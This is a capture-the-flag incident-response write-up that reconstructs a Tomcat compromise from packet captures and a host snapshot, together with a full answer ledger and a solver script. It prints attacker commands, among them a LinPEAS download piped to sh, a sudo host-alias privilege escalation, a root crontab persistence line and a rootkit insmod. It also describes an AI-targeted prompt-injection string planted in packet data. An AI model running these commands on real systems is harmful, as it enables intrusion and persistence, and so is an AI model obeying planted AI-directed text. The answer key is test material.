Dijavou
Points: not preserved with the challenge files · Provided: handout.tar.gz → Dockerfile, server1.pcapng, server2.pcap, triage.tar.gz
The original questionnaire was not preserved beside the handout. The saved answer sheet contains 27 ordered responses, so this walkthrough reconstructs those questions from their evidence. After those questions, the challenge issued a separate final flag through a remote
ncservice. Its exact value was not saved.
Evidence map
This challenge is deliberately broad. A small evidence map prevents us from answering a packet question with a filesystem artifact—or trusting a filesystem decoy when the packet capture records what actually happened.
| Artifact | What it contains | Main answers it supports |
|---|---|---|
handout.tar.gz |
Three primary artifacts and a Dockerfile | Handout hash and investigation inventory |
server1.pcapng |
ARP, Tomcat traffic, five reverse shells, and 6,041 ICMP fragments | Victim identity, attacker, initial access, credentials, commands, timestamps, escalation, persistence, exfiltration |
triage.tar.gz |
Ubuntu filesystem snapshot with logs, histories, /etc/crontab, and /tmp/encryptor |
OS identity, sudo version, cron entry, rootkit clue, encryptor reversing |
Dockerfile plus referenced image |
Encrypted flag and password file in an image layer | Intermediate Docker flag |
server2.pcap |
Browser traffic to two public IoT-style services | Targets, uc-httpd, login path, and CVE-2018-10088 |
What it targets
Dijavou tests evidence correlation across network, host, container, reverse-engineering, and malware layers. The hard part is not a single command. It is maintaining provenance: every answer must come from the right artifact, with exact spelling, byte boundaries, timestamp zone, and hashing rules.
| Skill | Why it matters outside the CTF |
|---|---|
| TCP stream reassembly | Commands and files cross packet boundaries and may be retransmitted |
| Timeline normalization | Packet captures and system logs often use different time zones |
| Linux triage | Shell history, auth logs, syslog, cron, and dropped binaries explain attacker actions |
| Vulnerability attribution | Similar CVEs must be distinguished by observed behavior, not name matching |
| Static binary reversing | Obfuscation and custom protocols commonly protect malware configuration |
| Covert-channel extraction | ICMP, DNS, and other protocols can carry chunked encrypted payloads |
This is not a “run strings and submit the first flag” challenge. It rewards a defensible incident narrative.
Background: streams, timestamps, and exact hashes
TCP is a byte stream. Packets can arrive out of order or be retransmitted, so concatenating capture-order payloads is unsafe. Reassembly groups packets by direction, sorts by sequence number, discards duplicate bytes, and appends only unseen data.
Several questions ask for SHA-256 of an exact command. Hash the command bytes only—no shell prompt and no trailing newline:
import hashlib
command = 'sudo -h dev.test.local -i'
print(hashlib.sha256(command.encode()).hexdigest())
Finally, packet timestamps in the capture are UTC while Wireshark may display Africa/Tunis local time. Frame 124 is 2026-02-12 21:31:08.070869 UTC, which appears as 22:31:08 locally. The required answers use UTC without fractional seconds.
Walkthrough
1. Inventory and hash the handout
We begin without extracting anything into the evidence directory:
$ sha256sum handout.tar.gz
f1be0a043e269e9ee6ba7168249a607e72e641ac46b7ae4ae423ed43cfbed6a3 handout.tar.gz
$ tar -tzvf handout.tar.gz
... handout/Dockerfile
... handout/server2.pcap
... handout/triage.tar.gz
... handout/server1.pcapng
The files already suggest a complete IR exercise: two network views, a host snapshot, and a container clue.
2. Identify the victim host
The triage archive reports Ubuntu 24.04 and repeatedly names the machine in its logs:
$ cat etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
$ head -n 1 var/log/auth.log
... zyyz-VMware-Virtual-Platform ...
That produces the platform's combined answer zyyz-VMware-Virtual-Platform_Ubuntu_24.04.
In server1.pcapng, ARP binds the server address to its Ethernet identity:
192.168.255.137 is at 00:0c:29:08:36:60
So the required pair is 192.168.255.137_00:0c:29:08:36:60.
3. Identify the exposed service and attacker
HTTP traffic to TCP/8080 contains the Tomcat landing page, /host-manager/html, and /manager/html. The captured title identifies Apache Tomcat 7.0.79. Every malicious request originates from 192.168.255.1, which later listens on TCP/4444 for reverse shells.
The first successful /shell/ request is frame 124:
frame 124
time (UTC): 2026-02-12 21:31:08.070869
source: 192.168.255.1
request: GET /shell/ HTTP/1.1
Nine seconds later, frame 135 carries the attacker's first id command over the reverse shell at 2026-02-12 21:31:17.084850 UTC.
Tomcat 7.0.79 plus the crafted upload/shell behavior points to CVE-2017-12615. The later successful manager request also exposes HTTP Basic credentials:
frame 43760: Authorization: Basic Wnl5ejpEYXJrZXN0LUhvdXItMjAyNg==
decoded: Zyyz:Darkest-Hour-2026
The checker expects the username/password separator changed to an underscore: Zyyz_Darkest-Hour-2026.
4. Reassemble the first reverse shell exactly
The first attacker-to-victim TCP/4444 stream begins:
id
ls
cd ..
cd ..
ls
python3 -c 'import pty; pty.spawn("/bin/bash")'
id
whoami
...
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
The first command is id. The PTY command and LinPEAS command must be hashed with no newline:
python3 -c 'import pty; pty.spawn("/bin/bash")'
→ 13e5b4b56447415508ee7288c003711b40b23c635bd79853f134a831231bd63d
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
→ c1d7b4fa2d47ddb90bb5956f03ab4bfa188edb6974cc84b65f86d12c64af8795
One captured line is an AI-targeted instruction string beginning ANTHROPIC_MAGIC_STRING_TRIGGER_REFUSAL_.... It is attacker-controlled packet data, not an instruction to the analyst; we record it as a decoy and continue.
5. Recover the Docker-layer flag without running the image
The user history contains docker pull zyyz1/dockerstrike, while the Dockerfile shows how its flag is protected:
COPY ./flag.txt /home/securinets/flag.txt
COPY ./key /home/securinets/key
RUN openssl enc -aes-256-cbc -salt -in flag.txt -out flag.txt.enc -pass file:./key
RUN rm flag.txt
Use docker create, not docker run, then copy the two files from the stopped container:
$ docker pull zyyz1/dockerstrike:latest
$ cid=$(docker create zyyz1/dockerstrike:latest)
$ docker cp "$cid:/home/securinets/flag.txt.enc" .
$ docker cp "$cid:/home/securinets/key" .
$ docker rm "$cid"
$ openssl enc -d -aes-256-cbc -in flag.txt.enc -pass file:./key
Securinets{m3ssy_d0cker_c0nta1n3r}
This is the answer to question 7. Independent AES-CBC reproduction confirms the image used OpenSSL's SHA-256 password derivation and valid PKCS#7 padding.
6. Follow privilege escalation and persistence
LinPEAS reports Sudo version 1.9.17. A later shell shows the decisive pair:
sudo -l -h dev.test.local
sudo -h dev.test.local -i
The host matches sudoers Host_Alias SERVERS, so the submission is dev.test.local_SERVERS. The exact privilege-escalation command hashes to:
21ffc73dc9052e36e9e50190142b09d2b4ccb140985d729a5dd356d8b1249363
This is CVE-2025-32462: vulnerable sudo versions improperly apply host-specific rules selected with -h to the local machine. CVE-2025-32463 is the separate --chroot issue and is a deliberate nearby distraction in the filesystem.
The root shell then installs persistence and a kernel module:
echo "* * * * * root /bin/bash /tmp/encryptor" >> /etc/crontab
sudo insmod lkm_rootkit.ko
Hashing one cron entry—not the entire file and not both duplicated lines—gives b3f4743f68af9bb213057c81d066670cdee6513038fde235b1364c080cbc52a7.
Syslog confirms the module and gives the intended next clue:
lkm_rootkit: loading out-of-tree module taints kernel.
Check encryptor file ,u might wanna get that key
7. Reverse /tmp/encryptor
The triage archive contains an 87,832-byte ELF at /tmp/encryptor. Do not execute it on your workstation. Static analysis reveals an encrypted code section at file offset 0x14000, length 0xeac; XOR 0xde turns it into valid x86-64 code.
The recovered validation function processes eight four-byte words. Its expected MD5 strings live at file offset 0x130c0, but each byte is XORed with 0x66. Decoding yields eight ordinary 32-character MD5 strings.
Because the inputs are exactly four arbitrary bytes, use Hashcat's full-byte mask on a GPU:
$ hashcat -m 0 -a 3 -w 3 --potfile-disable hashes.txt '?b?b?b?b'
...
Recovered........: 8/8 (100.00%) Digests
Speed.#1.........: 9440.1 MH/s
Map each candidate back to the digest order by recomputing MD5:
| Index | MD5 preimage bytes |
|---|---|
| 0 | b03d1885 |
| 1 | b5e56650 |
| 2 | 5ff3f9cb |
| 3 | a327462b |
| 4 | 2ce932f7 |
| 5 | e0f102f0 |
| 6 | 13fd99d3 |
| 7 | 0fe0f96c |
The binary connects to 127.0.0.1:13337, sends a four-byte hello and seed, then expects eight seed-masked words. A loopback harness returns seed XOR preimage[i]; the client unmasks and validates them. Its output is the answer to question 20 and the key material for the next step:
Securinets{C0ngrats_Pack3ts_Int3rc3pt3d_Succ3ssfully_84920}
8. Extract and decrypt the ICMP payload
Filter echo requests from attacker to victim with identifier 1000. Each payload is ASCII hex. Sequence numbers 0 through 6040 are complete, giving 6,041 unique fragments and 3,092,624 ciphertext bytes.
source: 192.168.255.1
destination: 192.168.255.137
ICMP type/id: echo request / 1000
unique sequences: 6041 (0..6040)
ciphertext: 3092624 bytes
The decompiled Infiltrator client uses the first 32 bytes of XOR_KEY.encode() as an AES-256 key and bytes 32–47 as the CBC IV. Decryption plus PKCS#7 unpadding produces a 3,092,616-byte ELF:
ELF magic: true
SHA-256: 824904182e863288f24a2d13273a3122bd8fef73fe6ae1a2429ec7073177b747
Static strings include dvrHelper, main.ucSofiaCheck, default router credentials, and uc-httpd 1.0.0, supporting Mirai-family/DVR exploitation behavior. The expected combined answer is Mirai_824904182e863288f24a2d13273a3122bd8fef73fe6ae1a2429ec7073177b747.
9. Correlate the second capture
server2.pcap shows client 192.168.100.9 visiting two service hosts in order: 146.190.198.112, then 185.133.121.127. The second host listens on port 8099 and returns:
Server: uc-httpd 1.0.0
Frame 10967 requests:
GET /Login.htm HTTP/1.1
Host: 185.133.121.127:8099
The recovered malware contains the function name ucSofiaCheck, and the service/version/login surface identifies CVE-2018-10088.
10. Complete answer ledger
This compact ledger preserves the exact submission formatting, including the two flag-shaped answers. The separate final challenge flag came from the remote nc service and was not recorded.
| # | Answer |
|---|---|
| 0 | Welcome_to_Death_Box_series |
| 1 | f1be0a043e269e9ee6ba7168249a607e72e641ac46b7ae4ae423ed43cfbed6a3 |
| 2 | zyyz-VMware-Virtual-Platform_Ubuntu_24.04 |
| 3 | 192.168.255.137_00:0c:29:08:36:60 |
| 4 | Apache Tomcat |
| 5 | 192.168.255.1 |
| 6 | http://192.168.255.137:8080/shell/_2026-02-12 21:31:08 |
| 7 | Securinets{m3ssy_d0cker_c0nta1n3r} |
| 8 | Zyyz_Darkest-Hour-2026 |
| 9 | 13e5b4b56447415508ee7288c003711b40b23c635bd79853f134a831231bd63d |
| 10 | CVE-2017-12615 |
| 11 | id |
| 12 | 2026-02-12 21:31:17 |
| 13 | c1d7b4fa2d47ddb90bb5956f03ab4bfa188edb6974cc84b65f86d12c64af8795 |
| 14 | 1.9.17 |
| 15 | dev.test.local_SERVERS |
| 16 | 21ffc73dc9052e36e9e50190142b09d2b4ccb140985d729a5dd356d8b1249363 |
| 17 | CVE-2025-32462 |
| 18 | b3f4743f68af9bb213057c81d066670cdee6513038fde235b1364c080cbc52a7 |
| 19 | lkm_rootkit.ko |
| 20 | Securinets{C0ngrats_Pack3ts_Int3rc3pt3d_Succ3ssfully_84920} |
| 21 | Mirai_824904182e863288f24a2d13273a3122bd8fef73fe6ae1a2429ec7073177b747 |
| 22 | 146.190.198.112_185.133.121.127 |
| 23 | uc-httpd 1.0.0 |
| 24 | http://185.133.121.127:8099/Login.htm |
| 25 | ucSofiaCheck |
| 26 | CVE-2018-10088 |
11. Full artifact-to-answer solver
Run recovered binaries only inside a disposable Linux VM with networking restricted. This solver uses the verified preimages, emulates the encryptor's loopback peer, extracts ICMP fragments directly from server1.pcapng, decrypts the payload, and prints the question-20 XOR-key answer and ELF hash. It does not connect to the remote nc service that issued the separate final flag.
Show full solver and output
#!/usr/bin/env python3
import hashlib, re, socket, struct, subprocess, sys
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from scapy.all import ICMP, IP, Raw, PcapNgReader
PCAP = Path(sys.argv[1])
ENCRYPTOR = Path(sys.argv[2]).resolve()
PREIMAGES = [
bytes.fromhex(x) for x in (
"b03d1885", "b5e56650", "5ff3f9cb", "a327462b",
"2ce932f7", "e0f102f0", "13fd99d3", "0fe0f96c",
)
]
EXPECTED = [
"f9bfe8cb45a6795747f4d512ebc178d2",
"afc285b2084d852d72b90c0afc40bfb1",
"ac2a8e28bddcc29f370536d6f19e0aeb",
"d72ddc086a7c1772585077f5a19616fb",
"e39b77fd42b4d4575517ea9bf5f30b06",
"ff37e246f0f997532804ad556296b053",
"dcfa245fe7f81a948247465b61285d90",
"542e3897af8b2624b06f774944c290e6",
]
assert [hashlib.md5(x).hexdigest() for x in PREIMAGES] == EXPECTED
def recv_exact(conn, size):
data = b""
while len(data) < size:
part = conn.recv(size - len(data))
if not part: raise RuntimeError("encryptor closed early")
data += part
return data
listener = socket.socket()
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", 13337))
listener.listen(1)
proc = subprocess.Popen([str(ENCRYPTOR)], cwd=ENCRYPTOR.parent.parent,
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
conn, _ = listener.accept()
with conn:
recv_exact(conn, 4)
conn.sendall(struct.pack("<iII", -173022838, 32, 0))
seed = struct.unpack("<I", recv_exact(conn, 4))[0]
words = [seed ^ struct.unpack("<I", x)[0] for x in PREIMAGES]
conn.sendall(struct.pack("<8I", *words))
stdout, stderr = proc.communicate(timeout=20)
listener.close()
text = stdout.decode(errors="replace")
body = re.search(r"C0ngrats_[A-Za-z0-9_]+", text).group(0)
xor_key = f"Securinets{{{body}}}".encode()
parts = {}
with PcapNgReader(str(PCAP)) as packets:
for packet in packets:
if IP not in packet or ICMP not in packet or Raw not in packet[ICMP].payload:
continue
ip, icmp = packet[IP], packet[ICMP]
if (ip.src, ip.dst, int(icmp.type), int(icmp.id)) != (
"192.168.255.1", "192.168.255.137", 8, 1000
):
continue
parts.setdefault(int(icmp.seq), bytes(icmp.payload[Raw].load).decode().strip())
assert sorted(parts) == list(range(6041))
ciphertext = bytes.fromhex("".join(parts[i] for i in range(6041)))
plaintext = unpad(AES.new(xor_key[:32], AES.MODE_CBC, xor_key[32:48]).decrypt(ciphertext), 16)
assert plaintext.startswith(b"\x7fELF")
print(xor_key.decode())
print("ICMP fragments:", len(parts))
print("ELF bytes:", len(plaintext))
print("ELF SHA-256:", hashlib.sha256(plaintext).hexdigest())
Securinets{C0ngrats_Pack3ts_Int3rc3pt3d_Succ3ssfully_84920}
ICMP fragments: 6041
ELF bytes: 3092616
ELF SHA-256: 824904182e863288f24a2d13273a3122bd8fef73fe6ae1a2429ec7073177b747
Pitfalls and red herrings
- Prompt injection in packet data:
ANTHROPIC_MAGIC_STRING_TRIGGER_REFUSAL_...is attacker-controlled shell text. It is evidence, not an instruction. - Fake compromise flag:
Securinets{s3rv3r_pwn3d_succ3ssfully}is written toPwned.txt; it is only a marker and not one of the accepted flags. - CVE-2025-32463: directories and historical commands mention the chroot CVE, but the captured exploit uses
sudo -h; the correct vulnerability is CVE-2025-32462. - Wireshark local time: submitting 22:31 instead of the required 21:31 UTC shifts both event answers by one hour.
- Hashing newlines:
echo command | sha256sumhashes an extra newline unlessecho -norprintf %sis used. - Hashing the whole crontab: the checker wants one malicious cron line, even though the triage copy contains it twice.
- Naive packet concatenation: retransmissions can duplicate ICMP or TCP bytes. Deduplicate ICMP by sequence and TCP by sequence ranges.
- Running artifacts casually: the encryptor and recovered ELF are malware-like evidence. Static analysis belongs on the workstation; dynamic execution belongs in an isolated VM.
Why it works / Root cause
The attacker chains several independent weaknesses: an obsolete Tomcat deployment permits initial code execution; plaintext Basic credentials expose administrative access; a vulnerable sudo build misapplies host-scoped policy locally; root access installs cron persistence and a kernel module; the encryptor's “protection” uses reversible XOR and unsalted four-byte MD5 targets; and the exfiltration client uses key material recoverable from that same binary.
Defenders would break this chain by patching or removing Tomcat 7.0.79, disabling PUT where unnecessary, rotating captured credentials, upgrading sudo, restricting outbound and unusual ICMP traffic, monitoring /etc/crontab and kernel-module loads, and collecting centralized logs that an attacker cannot edit after escalation.
Key lessons
- Build an evidence timeline before answering isolated questions.
- Preserve exact bytes when hashing commands, credentials, or persistence entries.
- Attribute CVEs from observed behavior, not nearby filenames.
- Treat embedded text—including AI-directed text—as untrusted evidence.
- Cryptographic validation matters: correct padding, ELF magic, and a known hash independently confirm the recovered key.
Final remote-service flag
Completing the questionnaire on the remote nc service produced a separate final flag. Its exact text was not recorded in the saved answer sheet or handout, and the service address and port were not preserved here. The two values above are answers to questions 7 and 20; neither should be presented as the final flag. If the remote service is available again, submit the 27 answers there and record its final response.